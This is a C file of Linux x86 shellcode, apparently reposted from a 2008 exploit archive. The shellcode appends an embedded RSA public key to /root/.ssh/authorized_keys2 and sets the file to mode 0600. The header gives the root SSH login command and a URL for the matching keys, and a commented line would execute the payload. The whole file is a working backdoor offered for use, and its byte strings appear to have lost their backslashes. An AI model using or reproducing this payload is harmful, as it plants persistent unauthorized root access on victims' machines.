/*
 linux/x86 shellcode to append rsa key to /root/.ssh/authorized_keys2
 keys found at http://xenomuta.tuxfamily.org/exploits/authkey/ 
 ssh -i id_rsa_pwn root@pwned-host

 295 bytes
 by XenoMuta
     _  __                 __  ___      __       
    | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
    |   / _ / __ / __ / /|_/ / / / / __/ __ `/
   /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ / 
  /_/|____/_/ /_/____/_/  /_/__,_/__/__,_/  

   xenomuta [ arroba ] phreaker [ punto ] net

  http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
  
 - God bless you all -

*/
unsigned char sc[] =
//<_start>:
"x31xd2"	 // xor    %edx,%edx
"x52"		 // push   %edx
"x68x65x79x73x32"	 // push   $0x32737965 ; /root/.ssh/authorized_keys2
"x68x65x64x5fx6b"	 // push   $0x6b5f6465
"x68x6fx72x69x7a"	 // push   $0x7a69726f
"x68x61x75x74x68"	 // push   $0x68747561
"x68x73x73x68x2f"	 // push   $0x2f687373
"x68x74x2fx2fx2e"	 // push   $0x2e2f2f74
"x68x2fx72x6fx6f"	 // push   $0x6f6f722f
"x89xe3"	 // mov    %esp,%ebx
"x66xb9x41x04"	 // mov    $0x441,%cx ; O_CREAT | O_APPEND | O_WRONLY
//<_open>:
"x6ax05"	 // push   $0x5 ; sys_open()
"x58"		 // pop    %eax
"xcdx80"	 // int    $0x80
//<_write>:
"x93"		 // xchg   %eax,%ebx
"x89xe6"	 // mov    %esp,%esi
"x31xd2"	 // xor    %edx,%edx
"x52"		 // push   %edx
"x6ax0a"	 // push   $0xa
"x68x20x78x78x78"	 // push   $0x78787820 ; contenido de id_rsa_pwn.pub
"x68x31x35x54x4a"	 // push   $0x4a543531
"x68x56x39x48x57"	 // push   $0x57483956
"x68x6dx75x2bx38"	 // push   $0x382b756d
"x68x31x35x64x31"	 // push   $0x31643531
"x68x64x2fx71x69"	 // push   $0x69712f64
"x68x52x4bx61x79"	 // push   $0x79614b52
"x68x70x70x79x6e"	 // push   $0x6e797070
"x68x35x46x31x6d"	 // push   $0x6d314635
"x68x55x64x5ax35"	 // push   $0x355a6455
"x68x4dx2bx4cx63"	 // push   $0x634c2b4d
"x68x38x59x41x6d"	 // push   $0x6d415938
"x68x4dx42x50x79"	 // push   $0x7950424d
"x68x4cx44x4dx58"	 // push   $0x584d444c
"x68x41x34x31x38"	 // push   $0x38313441
"x68x65x33x76x4d"	 // push   $0x4d763365
"x68x48x6fx78x77"	 // push   $0x77786f48
"x68x34x6dx46x36"	 // push   $0x36466d34
"x68x48x39x6fx39"	 // push   $0x396f3948
"x68x56x59x48x6a"	 // push   $0x6a485956
"x68x4bx41x74x6d"	 // push   $0x6d74414b
"x68x70x7ax64x71"	 // push   $0x71647a70
"x68x50x2bx76x4d"	 // push   $0x4d762b50
"x68x6cx47x51x43"	 // push   $0x4351476c
"x68x50x68x4fx32"	 // push   $0x324f6850
"x68x4dx37x48x35"	 // push   $0x3548374d
"x68x76x6bx6cx47"	 // push   $0x476c6b76
"x68x37x74x4fx35"	 // push   $0x354f7437
"x68x54x63x6ex77"	 // push   $0x776e6354
"x68x36x63x77x65"	 // push   $0x65776336
"x68x6dx62x64x71"	 // push   $0x7164626d
"x68x4ex32x75x70"	 // push   $0x7075324e
"x68x74x73x6ax58"	 // push   $0x586a7374
"x68x41x47x45x41"	 // push   $0x41454741
"x68x49x77x41x41"	 // push   $0x41417749
"x68x41x41x41x42"	 // push   $0x42414141
"x68x63x32x45x41"	 // push   $0x41453263
"x68x61x43x31x79"	 // push   $0x79314361
"x68x42x33x4ex7a"	 // push   $0x7a4e3342
"x68x41x41x41x41"	 // push   $0x41414141
"x68x72x73x61x20"	 // push   $0x20617372
"x68x73x73x68x2d"	 // push   $0x2d687373
"x89xe1"	 // mov    %esp,%ecx
"xb2xa9"	 // mov    $0xa9,%dl
"x6ax04"	 // push   $0x4   ; sys_write()
"x58"		 // pop    %eax
"xcdx80"	 // int    $0x80
"x34xaf"	 // xor    $0xaf,%al ; 0xa9 xor 0xaf = 0x6 ( sys_close() )
"xcdx80"	 // int    $0x80
"x04x0f"	 // add    $0xf,%al  ; sys_chmod()
"x89xf3"	 // mov    %esi,%ebx
"x66xb9x80x01"	 // mov    $0x180,%cx ; 0600  para que ssh no se queje
"xcdx80"	 // int    $0x80
"x6ax01"	 // push   $0x1      ; adios exit
"x58"		 // pop    %eax
"xcdx80";	 // int    $0x80

main(){printf("%d bytesn", strlen(sc));}
//main(){(*(void (*)()) sc)();}

// www.Syue.com [2008-11-23]